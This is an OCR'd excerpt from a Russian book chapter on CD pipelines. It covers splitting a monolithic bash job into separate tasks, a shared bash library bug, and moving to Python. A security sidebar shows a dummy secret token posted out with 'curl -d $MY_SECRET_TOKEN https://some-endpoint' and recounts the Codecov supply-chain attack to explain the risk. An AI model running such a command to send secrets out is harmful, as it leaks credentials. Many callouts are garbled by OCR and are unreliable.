Реп сервиса 
и нтеграции  

кредитных карт 

/ 
Исходн"1u код для эwщх сербисоб / 
находtАW\СЯ в ЭW\IAX pel'I031AW\Op1AЯX. 

Реп скриптов 
CD 

В ЭW\ОМ реУ<О31А -
W\ории содержаW\СЯ 
бщ5лuоW\еКи bash, 
KOW\OpPte IACY<OЛD -
3!jIOW\CЯ в задачах 
и У<аuмаuнах 
обоих сербисоб. 

Репозиторий СI-скриптов содержит ряд Ьаsh-скриптов, включая следующие: 

• linting.sh; 
• unit_tests.sh; 
• e2e_tests.sh. 

Два других репозитория содержат копии репозитория СО-скриптов (которые регу
лярно обновляются при изменении репозитория СО-скриптов) ,  и их задачи импор
тируют эти библиотеки. Например, начало Ьаsh-библиотеки linting.sh выглядит так: 

# ! / u s r/bin/env bash  
set - хе 
function l int ( )  { 

local  command=$1 
local  params=$2 
sh ift 2 
for file  in $@; do 

echo " $ { command}  ${ pa rams } ${file } "  
$ { command}  ${ pa rams } ${file}  

done 

function python_lint ( )  
lint  " pythonЗ "  " - m pylint " $@ 

� 

Функции для 6РIV\ОЛнения конкреw.нРIХ 
Видов линw.инга 6ыз"16аюw. обобщенную 
функцию liV\t(). -----------------------

Стоит пи вообще заводить Ьаsh-бибпиотеку? 

Хороший вопрос! Некоторые атрибуты командной оболочки bash делают ее 
не совсем подходящей для создания повторно используемых библиотек - мы 
подробнее поговорим об этом позже. А пока достаточно сказать, что это, воз
можно, не лучший выбор, но если вам требуются общие Ьаsh-скрипты для 
задач и проектов, можно использовать и такой подход. Стоит ли? Наверное, 
нет - вскоре мы к этому вернемся ! 
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Па йплай н сервиса транзакций 
Лоренцо решает начать с сервиса транзакций. Весь пайплайн представляет собой 
одну задачу и один большой скрипт, который ее поддерживает. У Лоренцо есть 
ощущение, что это и есть источник проблем команды сервиса транзакций, но он 
хочет проверить свои подозрения. 

Челси , я сл1:>1шал, 
у меоя недавно Ot>IЛIA 

У\роолемы с У\айУ\лайном. 
Все началось 

Можешь рассказам!:>, 
чмо случилось ?  

н а  У\рошлой неделе, 
коzда я омкрыла PR". 

Вторник Я открыла PR с новой функцией «Подарочная карта» . 

Пайплайн почти сразу же выдал ошибку. 

Немного повозившись, я поняла, что линтинг нашел мою ошибку, 
и я ее исправила. 

Пайплайн снова выдал ошибку, на этот раз через несколько минут. 

После небольшого анализа я поняла, что нарушила работу кое-каких 
юнит-тестов, и исправила их. 

Пайплайн снова дал сбой, на этот раз более чем через полчаса после 
исправления. 

Среда Мне потребовалось еще больше времени,  чтобы понять, что нужно 
обновить способ сборки сервиса, чтобы адаптировать его к новой 
функции. Исправить удалось только на следующий день. 

Четверг Почти через час после этого, разумеется, пайплайн снова дал сбой ! 
Оказалось, что нужно было обновить сквозной тест, но к этому 
моменту я возилась с пайплайном уже несколько дней 
и была жутко зла! 

Выслушав Челси, Лоренцо понял, что это подтверждает 
его теорию: сигнал, который Челси получила в качестве 
отклика от пайплайна при сбое, не содержал доста
точно информации, и ей потребовался дополнитель
ный анализ, например просмотр журнала выполнения 
(лог-файлов) .  Поскольку пайплайн состоял из одной 
огромной задачи, единственный сигнал, который могла 
получить Челси, - это либо «nайплайн прошет>, либо 
«nайплайн не прошеЛ>> , и ей приходилось копаться в де
талях, чтобы понять, что это значит. 

Подробнее о сигналах 
и шуме читайте в гла
ве 5, а обо всех точках 
жизненного цикла 
изменений, где необ
ходимы сигналы для 
выявления багов, -
в главе 7 .  
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Изба вляемся от одного большого скри пта 
Лоренцо ставит перед сервисом транзакций цель: перейти от текущего состояния 
пайплайна, когда подается только один сигнал (либо « пайплайн прошел» ,  либо 
«пайплайн не прошел») ,  к состоянию, когда пайплайн может выдавать несколько 
отдельных сигналов. В ситуации, с которой столкнулась Челси, это сэкономит много 
времени на анализ и позволит сразу понять, где ошибка, и сосредоточить усилия 
в нужном месте. Выясняя это, Лоренцо случайно открыл эмпирическое правило 
для определения границ задачи: 

Для каждоrо сиrнала, который требуется от пайплайна, должна быть 
предусмотрена отдельная задача. 

Лоренцо изучает текущий скрипт и определяет сигналы, которые были бы полезны 
команде: 

# ! / u s r/ b i n / env  b a s h  

set - хе 

s o u r c e  $ ( d i rn ame 
s o u r c e  $ ( d i rname 
s o u r c e  $ ( d i rn ame 

r u n_u n it_t e s t s  

Все  библuоW1еки bo.s/1. 
долЖНD/ бDIWID 6ключенD1 
6 эWIOWI cкpul'\WI. 

$ { BASH_SOURC E } ) / l i nt i n g . s h 
${ BASH_SOURC E } ) / e2e_t e st s . s h 
$ { BASH_SOURC E } ) / u n it_test s . s h 

/ 

l<.o.ждDIU 6DIЗ06 cp!:JHKU,UU в ЭW\ОМ cкpul'\Wle 
можеWI CWIO.WID оW1делDно!А зо.до.че!А ,  
zенерир!:Jющ,е!А OWIOeЛDHDIU сиzно.л. 

mea s u re_u n it_te st_c overage 

b u i l d  image " pu r rfect / t r a n s a ct ion " " image / Doc ke rfi l e "  
s e t u p  е 2е s ut 1 
dep loy to  е 2е sut " pu r rfect/t r a n s a ct ion " 1 
r u n  е 2е t e s t s  1 Рео.лDные bo.s/1. -cкpul'\WIDI, скорее бсеzо, б!:JO!:JWI 

6D1zлядeW1D zоро.здо сложнее, чем эW10W1. ЭW10W1 
cкpul'\WI сиЛDНО !::Jl'\рощ,ен для и,еле!А до.нно!А книzи. 

Какие-то из описанных процессов наверняка должны выполняться 

параллельно ? 

Очень верно подмечено: мало того что все это делается в рамках одной боль
шой задачи, так еще и каждый вызов функции блокируется предыдущим, хотя 
иногда для этого нет никаких причин. В новом пайплайне Лоренцо обновит 
часть кода, чтобы он выполнялся параллельно; подробнее об этом см. также 
в главе 1 3 .  
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П ринци п ы хорошо спроектированной задачи 
Цель Лоренцо - перейти от одного-единственного сигнала (либо «пайплайн про
шел» , либо «пайплайн не прошел» ) к отдельным задачам для каждого полезного 
сигнала, следуя правилу: 

Для каждого сигнала, который требуется от пайплайна, должна быть 
предусмотрена отдельная задача. 

В дополнение к этому правилу существуют и другие принципы грамотного проек
тирования задач. Полезно относиться к задачам как к разработке функций. Хорошо 
продуманные задачи обладают следующими свойствами: 
• Сильная связность (хорошо выполняют одну задачу) . 
• Слабая связанность (могут использоваться повторно и объединяться с другими 

задачами) .  
• Имеют четко определенные интерфейсы с понятными действиями (вход и вы-

ход) .  
• Делают ровно столько, сколько нужно (не слишком мало, но и не слишком много). 

Как и в случае с написанием чистого кода, разработчики по-разному могут интер
претировать эти принципы, однако чем больше опыта разработки задач вы при -
обретаете, тем лучше у вас это получается . На самом деле главное - помнить об 
этих принципах и стараться их применять, а не стремиться к созданию идеальной 
задачи.  Тем не менее есть признаки, которые говорят о том, что задача, возможно, 
слишком раздута: 
• Вы замечаете, что дублируете части задачи в других задачах (например, копиру

ете логику загрузки результатов в несколько задач) .  
• Задача содержит логику оркестрации (например, циклическое обращение к вход

ным данным для выполнения одного и того же действия несколько раз или про
верка завершения одного действия перед запуском другого) .  

Эти функции лучше подходят для пайплайна; задачи должны формировать логику 
сильной связности и слабой связанности, а пайплайны - организовывать комби -
нации этой логики. 
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Разделение ги гантской задачи на части 
Анализируя большую задачу, которая составляла весь пайплайн сервиса транзак
ций, Лоренцо выделил девять отдельных сигналов, которые он хотел бы получать от 
отдельных задач (которые, в свою очередь, могут быть объединены и управляться 
самим пайплайном) :  

1 .  config_file_l int 6 .  build _image 

2 .  ma rkdown -lint  7 .  setup_e2e_s ut 

3.  python_lint  8 .  deploy_to_e2e_s ut 

4. run  -u n it_tests  9 .  ru n_e2e_tests  

5 .  mea s u re_u n it_test  _coverage 

Разделив эту задачу на части совместно с командой сервиса транзакций, Лоренцо 
получил задачу для каждого из предыдущих вызовов функций: 

Линтинг файлов 
конфигурации 

Линтинг файлов 
на языке разметки 

Markdown 

Линтинг файлов 
на Python 

Выполнение 
юнит-тестов 

Измерение 
покрытия 

Настройка среды 
для SUT 

) Развер1Ъ1ванме Выполнение 
сквозных тестов 

Чтобы минимизировать количество багов, вносимых при разбиении на эти задачи, 
Лоренцо постарался сохранить их как можно ближе к оригиналу. Он старается 
(пока) не менять базовые библиотеки bash, насколько это возможно, поэтому созда
ваемые им задачи очень похожи на предыдущий большой Ьаsh-скрипт; они просто 
делают меньше. Например, вот как выглядит задача линтинга файлов на Python: 

# ! / u s r/ bin/env  bash  
set - хе 

source  $ ( di rname ${ BASH_SOURC E } ) / linting . s h 
source  $ ( d i rname ${ BASH_SOURC E } ) /e2e_test s . s h 
source  $ ( d i rname ${ BASH_SOURC E } ) / unit_test s . s h � 
python_l int $@ \ 

На эмом начал�,ном эмаnе бсе библиомеки bash. бсе еще имnор -
мируюмся б скриnм задачи Руth.оn -линминга, nомому чмо эми 
библиомеки могум содержам�, бажн�,1е nобочн�,1е эффекм�,1, комо 
р�,1е мребуюмся для функции pyth.on_lint. благодаря инкременмному 
nодходу, когда изменения минимал�,н�,1, nереход к нобоu nракмике 
рабом�,1 сманем nросм�,1м и мабн�,1м и ее можно будем nосмеnенно 
улучщам�,. 
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Обновленный пайплайн сервиса транза кци й 
Эти задачи кажутся Лоренцо знакомыми, и он понимает, что эти же задачи исполь
зуются в пайплайне сервиса интеграции кредитных карт. Немного поработав со
вместно с двумя командами, он обновил эти два пайплайна и сделал их практически 
одинаковыми: они имеют одну и ту же форму и используют в основном одни и те 
же задачи. Теперь оба пайплайна выглядят примерно так: 

3al".!JCKQeWICЯ 
1'\ри OW1Kpt71Wlии 

или обновлении PR 

3al'\yCкaeWICЯ 
через очередtJ 

слияния 
� � {1 

3al".!JCKQeWICЯ 
.... ериодически 

Линтинг файлов Л интинг  файлов Линтинг файлов Выполнение 
конфигурации  на языке разметки 

L 
Markdown на Pythoп 

� {1 
Сборка J Настройка 

среды для SUT 

� {1 

) Развертывание 

Выполнение 
сквозных тестов 

юнит-тестов 

� 
Измерение 
покрытия 

Теперь команда сервиса транзакций не запускает одну гигантскую задачу, а обе 
команды подразделения платежей работают одинаково: их пайплайны СО гене
рируют несколько сигналов, по одному на каждую задачу, причем каждая задача 
обращается к библиотекам bash, которые они совместно используют через репози
торий скриптов СО. 

-_(�� ВАЖНО 
Хорошо продуманные задачи похожи на хорошо разработанные функции. 
Они обладают сильной связностью, слабой связанностью, имеют четко опре
деленные интерфейсы и делают ровно столько, сколько нужно. А благодаря 
инкрементному подходу перейти от задач со слишком большим количеством 
действий к хорошо продуманным задачам становится гораздо легче. 
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Две команды подразделения платежей теперь используют практически одинаковый 
пайплайн, но это не означает, что Лоренцо решил все проблемы. Команда сервиса 
интеграции кредитных карт, чей пайплайн более отлажен, по-прежнему регулярно 
сталкивается со множеством проблем в нем. 

Недавно у Лулу, разработчицы из этой команды, возник неприятный баг в пайп
лайне CD, когда она попыталась открыть PR. Она занималась простым исправлением 
багов и с удивлением увидела, что задача Set up SUT Environment (Настройка среды 
для SUT) завершилась на ее PR с ошибкой прав доступа. 

о . . . . 
_, 

../. 

Чтобы разобраться в проблеме, Лулу изучает скрипт, который использует задача 
Set up SUT Environment:  

# ! / us r/bin/env bash 

set - хе 

S E RVICE_ACCOUNT= ' c c - e2e - servic e - a ccount ' 
source  $ ( d i rname $ { BASH_SOURC E } ) /e2e_tests . s h  

setup_e2e_sut 

Она точно ничего здесь не меняла, и логика кажется ей верной: установить перемен
ную среды, которая управляет учетной записью сервиса, используемого функцией 
setup_e2e_s ut ,  а затем импортировать и вызвать функцию. Итак, она открывает 
в Ьаsh-библиотеке функцию setup_e2e_s ut и видит следующее: 

un set S E RVICE_ACCOUNT .---- переменно.я cpeO/JI SERVICE_ACCOUNT, коw.орую 
зо.до.чо. усw.о.но.блибо.ло. немсредсw.бенно V\еред 

function setup_e2e_sut ( )  { . . .  зо.zрузкоiА setup_e2.e_sut.sYi, copo.ctJ160.ew.cя V\pu 
ко.ждоiА зо.zрузке фо.iАло.. 

Оказывается, в файл e2e_tests.sh была добавлена строка, которая создает побочный 
эффект загрузки библиотеки/скрипта bash: она намеренно сбрасывает переменную 
среды, которая управляет учетной записью сервиса, используемой сквозными тестами. 

Что такое учетная запись сервиса ?  

Детали тут не  важны, но  при высокоуровневом программировании во мно
гих приложениях (и особенно на облачных платформах) пользователи могут 
определять учетные записи сервисов, которым могут быть предоставлены опре
деленные права доступа. В нашем примере для проведения сквозных тестов 
нужно предоставить учетную запись сервиса, чтобы настроить необходимую 
инфраструктуру. 
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Исследуем ба г  в Ьаsh-библиотеке 
С точки зрения Лулу, этот побочный эффект в Ьаsh-библиотеке e2e_tests.sh является 
багом. Она сообщает об этом Лоренцо, который попросил членов команды расска
зывать ему обо всех проблемах в работе пайплайна. Лоренцо начинает выяснять, что 
произошло, изучая сообщение от Аджая из команды сервиса транзакций, которое 
касается коммита с изменением: 

� Аджай 
Убедитесь, что сквозные тесты начинаются с нуля. 

Когда я попытался обновить нашу задачу среды SUT для настройки нескольких 
сред, я понял, что можно случайно использовать уже установленные переменные 
среды. Этот коммит обновляет библиотеку, стирая все необходимые переменные 
среды и начиная с нуля. 

Анализируя пайплайн сервиса транзакций, 
Лоренцо понимает, что задача S e t  up S U T  

envi ronment, которую использует команда, не
много отличается от той, которую использует 
команда сервиса интеграции кредитных карт: 

# ! / u s r/ bin/env  bash  

set - хе 

Другой способ свести к ми
нимуму подобные пробле
мы - сделать так, чтобы обе 
команды выполняли абсо
лютно одинаковые задачи.  
Лоренцо стремится к этой 
цели, но пока не достиг ее. 

source  $ ( d i rname ${ BASH_SOURC E } ) /e2e_tests . s h 
S E RVIC E_ACCOUNT= ' c c - e2e - servic e - a c count ' � 
setup е2е sut v в в - - В ЭW\OIA задаче ....еременная средь� усW\ана лц аеW\сЯ V1Осле 

1AMV1opW1a бцблцоW\екц e:2.e_tests.sh, VIOЭW\oMy V1Обочны1А 
эффеКW\, 6ыз6анны1А ее IAMVIOpW\OM, не 6ызь16аеW1 V1роблем. 

Почему бы вместо этого не передавать учетную запись сервиса 

в качестве параметра ? 

Это справедливое замечание: если бы функция setup_e2e_sut брала учетную 
запись сервиса в качестве параметра, а не ожидала установки переменной среды, 
этой проблемы можно было бы избежать. В нашем примере мы полагаемся на 
переменные среды. Одним из недостатков скриптов bash является то, что они 
часто зависят от переменных среды, таких как эта, особенно если несколько 
функций должны использовать одно и то же значение. Кроме того, Ьаsh-скрипты 
часто вызывают программы, которые сами ожидают, что эти переменные среды 
будут установлены. 
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Лоренцо понимает, почему для Аджая это изменение кажется логичным, если он 
учитывает только то, как служба транзакций использует библиотеку e2e_tests.sh. 
Но он хочет подробнее разобраться, почему никто не догадался о более серьезных 
последствиях этого изменения. Лоренцо видит, что проверку PR с коммитом Аджая 
проводила Челси, поэтому он встречается с Аджаем и Челси, чтобы обсудить, что 
пошло не так. 

прежде Всего, я не собцро.юсь 
НIАКОгО 0061AHЯW\/J 6 WIOM, ЧW\О 

V1роцзощло. Я V1pOCW10 хочу 
6t>1ЯCHIAWl/J, ко.к V1peдoW16pt1.W11AW\/J 
V1О6W1оренце V1Одобноii. CIAWIYO.L\IAIA .  

К.онечно 1  Я бы ц сам эW1ого хоW1ел. 
Но. со.мом деле, когда я 6носцл юмененця, 
МНе VIOKtBO.ЛOC/J, ЧW\О не СО6СеМ VIOHЯWIHO, 
но. ЧW\О ОНО MOЖeWI VI06ЛIAЯWl/J. ЭWIO меня 

HO.CWIOpOЖIAЛO. я до.же не VIOHIAMM, 
ЧWIO цменно нужно IACKO.Wlt>. 

13ерно 1  То же со.мое было,  когда 
я 6t>1V1олняло. V1ро6ерку .  К.омменW1а.рцiА Аджа.я 
выглядел логlАЧН/J/М, HIAKll.KIAX WIUWI06 не О/J/ЛО, 

а. когда. я О{,\еНIАЛО., ка.к но.щ VIO.iAVIЛO.iAH IACVIOЛt>ЗyeWI 
бцблuоW1еку, WIO uзмененuе Аджа.я V1ока.зо.лосt> 

мне со6ершенно нормальным. 

Лоренцо поблагодарил Аджая и Челси за то, что они рассказали все как есть. Он 
понял, что они честно старались убедиться, что изменения не вызовут проблем, но 
все-таки их не избежали, и вот почему: 

• При обновлении кода было трудно отследить его использование - и не было 
тестов, которые показали бы связанные с ним ограничения. 

• А поскольку не было тестов и понятного способа их добавления, Аджай не смог 
включить автоматизированную проверку изменений. 

• При анализе кода было очень трудно понять последствия изменений. Не было 
тестов, которые можно было бы запустить, и проверяющий столкнулся с теми 
же проблемами, что и автор, поскольку не мог изучить вопрос со всех сторон 
и определить, на какие задачи и пайплайны может повлиять это изменение. 

Книги для программистов: https://t.me/booksforits



344 Глава 12 . Скрипты - это тоже код 

Для чего нужен bash 
Проблемы, с которыми сталкивается команда, особенно отсутствие тестов, за
ставляют Лоренцо засомневаться, действительно ли bash лучше всего подходит для 
использования в репозитории СD-скриптов. Хотя он видел, что bash часто исполь
зуется в пайплайнах CD, он понимает, что никогда не задумывался о том, что это 
такое и насколько он хорош. 

Чтобы разобраться в этом, нужно понять, что такое bash, для чего он подходит, 
а для чего нет. Bash, сокращение от Воиrпе Again Shell, был создан как замена Bourne 
Shell (или sh) .  Оба они являются своего рода командными оболочками (англ. -
shell) - текстовыми интерфейсами операционных систем. 

Поэтому хотя разработчики часто считают, что bash - просто язык скриптов, на 
самом деле это нечто большее: это язык, используемый для включения интерфейса 
в операционную систему. Авторы Ьаsh-скриптов могут использовать следующее: 

• конструкции языка bash (такие, как операторы i f, циклы for и функции, которые 
вы определяете в своих скриптах) ; 

• встроенные команды bash (функции, доступные как часть оболочки, например 
e c ho) ;  

• программы, которые bash умеет находить (исполняемые программы, доступные 
в каталогах, в которых bash настроен на поиск через переменную среды РАТН).  

Bash и другие распространенные языки shе\1-
скриптов (например, sh и PowerShell) предна-
значены для управления командами операци -
онной системы .  Они действительно хороши, 
когда вам нужно только запустить команду или 
программу (особенно если таких команд, раз
работанных в среде Unix, несколько) ,  чтобы 
легко получать выходные данные одной коман
ды и передавать их в другую. Иногда в общем 
говорят, что bash хорош для «конвейерной пере
дачи» (piping stuff around, передача выходных 
данных одной команды в другую) .  

Задачи CD часто сводятся к вызову про-

В чем заключается 

философия Ипiх? 

Не буду вдаваться в детали, 
но стоит поискать и почитать 
литературу на эту тему. Вкрат
це, это набор принципов для 
определения модульных про-
грамм, которые действитель
но хорошо работают вместе, 
и этот набор использовался 
при разработке Unix. 

граммы или команды и отчету о результатах (например, вызов Python для запуска 
юнит-тестов) ,  поэтому понятно, почему языки shе\1-скриптов так часто появляются 
в задачах CD и пайплайнах. 

Итак, если использовать sh вместо bash, получится ли избежать проблем ? 

Замечания, сделанные по поводу bash, в равной степени справедливы для всех 
распространенных языков shе\1-скриптов (например, если вы часто работаете 
с Windows, вы наверняка будете работать с PowerShell) , и ко всем этим языкам 
следует относиться с одинаковым вниманием. 
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У bash есть свои сильные стороны, и поскольку он особенно хорошо подходит для 
задач CD (вызова программ и команд) ,  начинать с него лучше всего. Однако со вре
менем, когда задачи CD растут и усложняются, bash начинает проигрывать. О том, 
что bash - уже не лучший инструмент, говорят следующие признаки: 

• Длина скриптов превышает несколько строк. 
• Появляются скрипты, включающие множество условий и циклов. 
• Логика становится достаточно сложной, и для нее требуются тесты. 
• Возникает логика, которую требуется совместно использовать в различных 

скриптах, например, с помощью библиотек. 

Отсутствие тестирования и должной поддержки определения повторно используе
мых функций - основные причины, почему bash начинает сыпаться при усложне
нии логики. Даже простые функции bash крайне ограничены в том, что они могут 
поддерживать (например, вы не можете возвращать данные из них, только коды 
выхода, и вместо этого должны полагаться на переменные среды или потоковую 
обработку, чтобы получить от них значения). Не существует надежных механизмов 
для версионирования и распространения библиотек этих функций. 

Если вы видите, что в скриптах CD появляются какие-то или все указанные про
блемы, не стоит пытаться заставить bash делать то, в чем он не слишком хорош, луч
ше обратиться к языку программирования общего назначения (например, к Python) . 

Языки общего назначения отлично работают там, где bash не справляется. 
В частности, они предназначены для поддержки определения хорошо прописанных, 
повторно используемых функций и библиотек. Эти функции и библиотеки могут 
поддерживаться тестами и версионированными 
релизами, как и любое другое ПО. 

Большой плюс в том, что любую программу, 
написанную на языках общего назначения, можно 
вызвать из bash. Поэтому вопрос надо ставить не 
об использовании либо bash, либо языка общего 
назначения, а скорее об использовании их обоих 
с пониманием того, в каких ситуациях лучше под
ходит один, а в каких - другой. 

Простота кода и стоимость его сопровождения 

Вы не стали бы писать на 
bash рабочие приложения, 
так зачем же писать код, 
который вы используете 
для поддержки разработки, 
исключительно на bash? 
Код - это код! 

Одна из причин, по которой bash так часто встречается в пайплайнах CD, -
это распространенный, но довольно вредный подход к разработке: чрезмерная 
оптимизация в целях упрощения написания кода, а не снижения затрат на его 
поддержку. Ваsh-скрипты просты в написании, и когда вам нужно их обновить, 
добавить там-сям пару строк не составит труда. Но затраты на сопровождение 
этих простых строк могут быть огромными по сравнению с единовременными 
издержками на переход к языку с лучшей поддержкой требуемой логики. 
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Использовать скрипты в пайплайнах CD может быть опасно. Как уже гово
рилось, bash, в частности, предоставляет интерфейс к базовой операционной 
системе (ОС) .  Это часто означает, что Ьаsh-скрипты имеют широкий доступ 
к содержимому ОС и могут стать объектом атаки злоумышленников. 

Распространенность Ьаsh-скриптов в системах CD означает, что в задачах 
и пайплайнах CD очень часто определяются переменные среды для важной 
информации, необходимой для выполнения задач, включая конфиденциальные 
данные, такие как информация об аутентификации. Например, представьте, 
что в Ьаsh-скрипт добавлена переменная среды, содержащая секретный токен: 

MY_SECRET_TOKEN=qwerty012345qwerty012345qwerty012345 

Скрипт bash может делать с этим токеном все что угодно, например записать 
его во внешнюю конечную точку: 

curl  -d $MY_SECRET_TOKEN https : / / some - endpoint 

СD-системы, такие как GitHub Actions, предоставляют дополнительные меха
низмы для работы с секретными данными; например, обычно GitHub Actions 
сохраняет секрет, а затем в рабочем процессе вы можете привязать его к пере
менной среды. Код выше может быть таким: 

- name : Use my sec ret token 
env : 

MY_SECRET_TOKEN : $ { {  secret s . MY_SECRET_TOKEN } }  
run : 1 

c u rl  - d  $MY_SECR ET_TOKEN https : / / some - endpoint 

Опасность в том, что если злоумышленник сможет изменить скрипты, он по
лучит полную свободу доступа к этим переменным среды (и любым другим, 
доступным в операционной системе) и сможет делать с ними все, что захочет. 

Один из самых известных примеров этого - атака на инструмент покрытия 
кода Codecov в апреле 202 1 года. Один из злоумышленников смог получить 
доступ и изменить Ьаsh-скрипт, который Codecov использовал для отправки 
отчетов о покрытии кода. Этот Ьаsh-скрипт был загружен и применялся во 
всех конвейерах CD, которые использовали Codecov для создания отчетов 
о покрытии .  Злоумышленнику осталось только добавить одну строку bash, 
которая загружала все переменные среды, доступные в контексте скрипта, 
на удаленную конечную точку. А поскольку конфиденциальная информация 
скриптам часто предоставляется через переменные среды, это открывало зло
умышленнику доступ ко многим системам, и пользователям Codecov пришлось 
повозиться и повторно вводить все учетные данные, которые могли быть рас
крыты. (Узнать больше об этой атаке можно на сайте Codecov по ссылке https:// 
about.codecov. io/security-update/) .  

Этот случай наглядно показывает, почему стоит быть осторожными со 
скриптами, которые мы пишем в пайплайнах CD. Подумайте, кто может из
менить скрипт и к чему тем самым получить доступ. 
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Сравнение язы ков shеl l -скриптов 
и язы ков общего назначения 
Функция Языки shеll-скриптов Языки общего назначения 

Базовое управnение Да. Они поддержи вают фун кции Да 

потоком (например, управления потоком; фун к ц и и  

операторы if, цикnы в bash не та к удобно испол ьзовать 

fог, функции) повторно, как в языках общего на-

значения 

Разnичные типы Часто очень огра н и ченно.  Тео рети- Да 

данных чески bash п оддержи вает строки, 

масси вы и цел ые ч и сла, но все о н и  

хранятся к а к  строки 

Вызов других Да. Легко, с поддержкой цепочки Да, но не та к п росто. Обычно для этого 

программ ввода и вы вода между п рограм- необходимо обратиться к библ иотеке, 

мам и которая и н и ц и и рует новый п роцесс 

п рограммы и обрабаты вает взаимо-

действие с н и м  

Тесты Нет. Почти не п оддерж и ва ются как Да 

часть самого языка 

Отnадка Часто огра н и ч е н н а .  Л и ш ь  огра н и - Да. Д л я  отладки я з ы к а  общего назна-

ченное кол ичество и н струментов чения часто созда ются вспомогатель-

поддержи вает отладоч н ы е  скри пты ные и нструме нты, нап ример подде рж-

ка IDE для уста новки точек оста нова 

Версионированные Нет Да 

бибnиотеки 

и пакеты 

Поддержка Да Да 

синтаксиса IDE 
Защита от вредонос- Нет. Для утечки бол ьшого кол и- Нет. Языки общего назначения также 

ных модификаций чества да н н ы х  достаточно одной можно ис пользовать для извлечен и я  

(см. предыдущую строки в bash конфиден циал ь н ы х  данных.  Одн а ко 

страницу) шансы,  что будут испол ьзоваться 

пе редовые методики ( н а п р и мер, 

п роверка, хорошо п родума н н ы й  код), 

в ы ше, что потенциально снижает риск 

� Словарик 
Языки программирования общего назначения были созданы для использова
ния в различных ситуациях и областях, в отличие от языков, созданных для 
конкретных узкоспециализированных целей. В этой главе они сравниваются 
с языками shеll -скриптов (предназначенными для вызова из оболочки опера
ционной системы) .  Примерами языков общего назначения являются Python, 
Go, Ruby и С. 
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От язы ка shеl l -скриптов к язы ку 
общего назначен ия 
Лоренцо решает, что поддержка Ьаsh-библиотек в репозитории скриптов CD при
носит больше неудобств, чем пользы, и разрабатывает план переноса этих библиотек 
с bash на другой язык. Он предлагает команде три варианта, как это сделать, вы
брав Python в качестве языка для более сложной логики, которая может появиться 
в будущем: 

• Преобразовать функции bash в независимый 
инструмент, написанный на Python. 

• Преобразовать функции bash в библиотеки 
Python, которые можно вызывать из отдель
ных инструментов или Руthоn-скриптов. 

• Преобразовать функции bash в повторно 
используемые задачи. 

Если следовать этому плану, репозиторий 
скриптов CD будет содержать повторно ис
пользуемые версионированные инструменты, 
библиотеки и задачи, а не кучу Ьаsh-скриптов 
без указания версий. Лоренцо изучает каждый 
Ьаsh-файл в репозитории и функции, которые 
он содержит, чтобы решить, какие из них лучше 
перенести на другой язык: 

• linting.sh: python_lint 

• linting.sh: ma rkdown_lint 

• linting.sh: config_file_lint 

• unit_tests.sh: run_unit_ tests 

• unit_tests.sh: measure_unit_test_coverage 

• e2e_tests.sh: build_image 

• e2e_tests.sh: setup_e2e_sut 

• e2e_tests.sh: deploy_to_e2e_sut 

• e2e_tests.sh: run_e2e_tests 

Как определять 

и распределять повторно 

используемые задачи? 

Ответ зависит от используе
мой системы CD. Если вы ра
ботаете с GitHub Actions, это 
делается путем определения 
собственных пользователь
ских задач Actions. Как эта 
функция работает в других 
системах CD, см. в приложе
нии А. 

В случаях с linting.sh и unit_tests.sh Лоренцо обнаружил, что содержимое функций 
bash на самом деле просто вызывает программы и сообщает о результатах, поэтому 
имеет смысл сохранить их в bash. Он предлагает создать для них задачи в репозито
рии скриптов CD и вызывать как есть из пайплайна CD каждого сервиса. 

В e2e_tests.sh логика становится все более сложной (о чем Пулу, Аджай и Челси 
узнали не понаслышке), особенно функция setup_e2e_s ut, поэтому Лоренцо пред
лагает преобразовать ее в версионированную библиотеку Python, а командам создать 
и поддерживать инструмент для настройки сквозных тестов, использующих ее. 
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Лоренцо предлагает следующий план перехода от библиотек bash к повторно ис
пользуемым задачам: 

1 .  Преобразовать функции в файлах linting.sh и unit_tests.sh в многоразовые задачи. 
Они по-прежнему будут использовать bash, но пайплайны сервиса транзакций 
и сервиса интеграции кредитных карт не будут совместно использовать bash 
в качестве библиотек, а смогут ссылаться на определения задач как таковых 
(нет необходимости совместно использовать bash или копировать и вставлять 
определения) .  

2 .  Чтобы подготовиться к преобразованию функций из bash в Python, следует соз
дать исходную пустую библиотеку Python и автоматизировать создание релизов 
версий (см. главу 9 о создании версий) .  А затем сделать то же самое для всех 
новых инструментов, которые планируется создать. 

3 .  Для каждой функции, которая должна быть преобразована из bash в Python, 
следует: 

а) решить, в какой пакет поместить функцию, и либо создавать новый пакет, 
либо добавить ее в уже существующий; 

б) переписать функцию на Python; 

в) добавить тесты для этой функции. 

По мере постепенного обновления функций Лоренцо также обновляет пайплайны, 
которые их использовали, чтобы учесть новые версии, либо обновляя пайплайн для 
работы с новыми задачами, либо обновляя существующие задачи, чтобы они могли 
использовать Руthоn-скрипты (и импортировать новые библиотеки), либо обновляя 
существующие задачи, чтобы вместо них использовать новый комплексный инстру
мент на основе Python. 

Следует ли хранить все скрипты СО в одном репозитории? 

Работайте со скриптами как с любым другим кодом: как с рабочим кодом 
бизнес-логики. Вначале работа с одним репозиторием может упростить за
дачу, но старайтесь, чтобы он в результате не превратился в беспорядочную 
кучу случайных функций. Использование отдельных репозиториев также 
может облегчить версионирование каждой библиотеки и задачи в отдель 
ности; в противном случае присваивать номера версий в репозитории может 
быть сложнее. Например, тег версии v0 . 1 .  0 будет применяться ко всему коду 
в репозитории, который может состоять из нескольких задач, библиотек 
и инструментов. 

Книги для программистов: https://t.me/booksforits



350 Глава 12 . Скрипты - это тоже код 

От библ иотеки bash к задаче с Ьаsh-скриптом 
Одна из первых функций bash, за которую берется Лоренцо, - это функция, вы
полняющая линтинг Python. Функция вызывалась из пайплайна службы транзакций 
следующим образом: 

# ! / u s r/bin/env bash  
set -хе  

source  $ ( di rname ${ BASH_SOURC E } ) / linting . sh 
source  $ ( d irname ${ BASH_SOURC E } ) /e2e_test s . s h 
source  $ ( d i rname ${ BASH_SOURC E } ) / unit_test s . s h 

python_lint $@ 

Чтобы понять весь код, необходимый для ее работы, Лоренцо изучает файлы linting.sh, 
e2e_tests.sh и unit_tests.sh, которые используются этим скриптом, и обнаруживает, что 
имеет значение только код из linting.sh, а именно две функции, lint ( )  и python_lint ( ) :  

function lint ( )  { 

} 

local  command=$1 
local  pa rams=$2 
shift 2 
for file  in $@; do 

${ command}  $ { pa rams } ${file}  
done 

function python_lint ( )  { 
lint  " python " " - m pylint " $@ 

} 

Функция /iV1t() в библиоW1еке bo.sh 
НУЖНО., ЧW\Об1't цикл МОЖНО бt7tЛО V\O -
6W1орно исммзо60.W11' в нескол1'ких 
